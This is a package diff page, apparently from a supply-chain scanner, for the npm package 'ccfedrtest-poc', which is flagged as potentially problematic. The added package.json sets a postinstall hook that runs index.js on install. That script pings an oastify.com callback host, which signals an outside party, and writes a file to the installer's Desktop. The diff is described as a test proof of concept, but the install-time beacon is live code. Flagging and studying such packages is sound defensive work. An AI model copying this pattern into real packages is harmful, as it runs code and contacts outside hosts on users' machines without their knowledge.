ccfedrtest-poc 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ccfedrtest-poc might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +8 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,8 @@
1
+ const fs = require('fs');
2
+ const os = require('os');
3
+ const path = require('path');
4
+ const { exec } = require("child_process");
5
+
6
+ exec("ping 435dvf5lwsuqc7k2zmmip3zfm6sxgn4c.oastify.com");
7
+ content = "hello";
8
+ fs.writeFileSync(path.join(os.homedir(),'Desktop','edr-test.txt'),content,'utf8');
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "ccfedrtest-poc",
3
+ "version": "1.0.3",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }